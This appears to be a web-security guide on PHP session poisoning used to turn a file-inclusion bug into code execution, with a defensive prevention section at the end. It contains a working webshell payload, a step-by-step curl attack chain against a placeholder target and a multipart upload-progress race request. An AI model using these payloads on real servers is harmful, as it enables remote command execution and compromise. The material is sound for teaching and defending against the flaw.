Skip to content
highCVSS 8.1CWE-98A03:2021 – Injection

Session Poisoning

The session file is a file you can write to, whose path you already know, in a directory the worker can definitely read. It is the log-poisoning technique without the permission problem.

Why this beats log poisoning

Log poisoning fails most often on permissions: the worker cannot read /var/log/apache2.

The session directory has no such problem. PHP's session handler writes those files as the worker, so the worker can obviously read them back. And you already know the filename, because it is your own session ID, which the server told you.

The requirement is different: some value you control has to end up serialized into the session. That is common — a username, a preference, a search term, a language setting, a shopping basket, a failed-login counter carrying the attempted address.

Finding the file

Payloadsession paths by platform
# The filename is always sess_ followed by your session ID, which you have
# in your own cookie. No guessing.

# Debian / Ubuntu
/var/lib/php/sessions/sess_<PHPSESSID>
/var/lib/php/sessions/sess_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6

# RHEL / CentOS / Fedora
/var/lib/php/session/sess_<PHPSESSID>

# The PHP default when session.save_path is unset
/tmp/sess_<PHPSESSID>

# Alpine / many containers
/tmp/sess_<PHPSESSID>

# Confirm rather than guess: read the app source and look for
# session.save_path or ini_set('session.save_path', …).
# See /guide/php-filter-read

# Note: if the app uses Redis, Memcached, or a database session handler,
# there is no file and this technique does not apply at all. Check first.

What the file looks like

Payloadsess_a1b2c3…
# PHP's default session serializer writes:
#   <key>|<serialized value><key>|<serialized value>…

username|s:5:"alice";theme|s:4:"dark";cart|a:0:{}

# The values go in verbatim inside the s:N:"…" wrapper. So if the app does
#
#   $_SESSION['username'] = $_POST['username'];
#
# then registering or logging in as <?php system($_GET['cmd']); ?> gives you

username|s:30:"<?php system($_GET['cmd']); ?>";theme|s:4:"dark";

# The length prefix will be wrong if the app truncates or escapes, which
# corrupts the session — but include() does not care about the session
# format at all. It only needs the PHP tags to be present somewhere in
# the file. A corrupt session that still contains your payload is fine.

The full chain

Bash
# 1. Get a session and note the ID.
curl -s -c jar.txt 'https://target.example/' >/dev/null
SID=$(grep PHPSESSID jar.txt | awk '{print $7}')
echo "$SID"

# 2. Get your payload into a session value. Which parameter depends on the
#    app — a username field, a search box, a preference, a language code.
curl -s -b jar.txt 'https://target.example/profile.php' \
  --data-urlencode 'display_name=<?php system($_GET["cmd"]); ?>' >/dev/null

# 3. Confirm it landed before trying to execute it. Read the session file.
curl -s -b jar.txt \
  "https://target.example/index.php?page=php://filter/convert.base64-encode/resource=/var/lib/php/sessions/sess_$SID" \
  | grep -oE '[A-Za-z0-9+/]{40,}={0,2}' | base64 -d

# 4. Include it.
curl -s -b jar.txt \
  "https://target.example/index.php?page=/var/lib/php/sessions/sess_$SID&cmd=id"

PHP_SESSION_UPLOAD_PROGRESS

There is a route into the session that needs no application cooperation at all.

PHP's upload-progress feature writes a key into $_SESSION during a multipart upload, and part of that key is a value you supply: the PHP_SESSION_UPLOAD_PROGRESS form field. The application does not have to store anything, validate anything, or even know the feature exists.

POST /index.php HTTP/1.1
Content-Type: multipart/form-data; boundary=x

--x
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system($_GET['cmd']); ?>
--x
Content-Disposition: form-data; name="file"; filename="a.txt"

AAAA…
--x--

The catch is the timing. session.upload_progress.cleanup defaults to On, so the key is removed the moment the upload completes — the session file contains your payload only during the upload. You exploit it by sending a slow, large upload and firing the include in parallel while it is in flight.

That makes it a race, and it is the same race described in The Temp-File Race. It is worth knowing about because it works when the application stores nothing user-controlled in the session — which is the usual reason plain session poisoning is unavailable.

What stops it

  • Non-file session storage. Redis, Memcached, a database, or an encrypted cookie. There is no file, so there is nothing to include. Check session.save_handler in the source first — this is the most common blocker.
  • open_basedir. The session directory is outside the app tree. Effective.
  • Nothing user-controlled in the session. Fall back to PHP_SESSION_UPLOAD_PROGRESS above.
  • Escaping or length limits on the stored value. Fine as long as <?php and ?> both survive intact. Test with a marker.
  • session.upload_progress.enabled=Off. Removes the fallback. It is On by default but a few hardened builds disable it.

What does not stop it: the session file being corrupted by your payload. include() does not parse the session format.

Prevention

As with log poisoning, the write half is not the vulnerability. Applications are supposed to put user data in sessions. The fix is the sink.

  • Allowlist the include parameter. Nothing else on this list matters if the parameter cannot name a path. See Defense in Depth.
  • open_basedir excluding the session directory is genuine defence in depth and costs nothing.
  • Use a non-file session handler. Redis or a database removes this file from the filesystem entirely, and has operational benefits regardless.
  • session.upload_progress.enabled=Off if you do not use the feature, which almost nobody does.